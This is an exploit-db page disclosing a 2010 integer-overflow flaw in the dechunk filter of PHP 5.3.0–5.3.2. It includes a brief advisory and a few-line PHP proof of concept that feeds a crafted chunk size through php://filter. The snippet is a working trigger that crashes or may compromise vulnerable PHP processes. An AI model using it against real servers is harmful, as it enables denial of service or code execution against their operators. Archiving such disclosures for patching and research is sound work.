Lucene search

K
exploitdbStefan EsserEDB-ID:33920
HistoryMay 02, 2010 - 12:00 a.m.

PHP 5.3 - 'PHP_dechunk()' HTTP Chunked Encoding Integer Overflow

2010-05-0200:00:00
Stefan Esser
www.exploit-db.com
24

AI Score

7.4

Confidence

Low

source: https://www.securityfocus.com/bid/39877/info

PHP is prone to a remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the PHP process. Failed exploit attempts will result in a denial-of-service condition.

PHP 5.3.0 through 5.3.2 are vulnerable; other versions may also be affected.

<?php
$x = '0fffffffe

XXX';
file_put_contents("file:///tmp/test.dat",$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
echo "here";
?>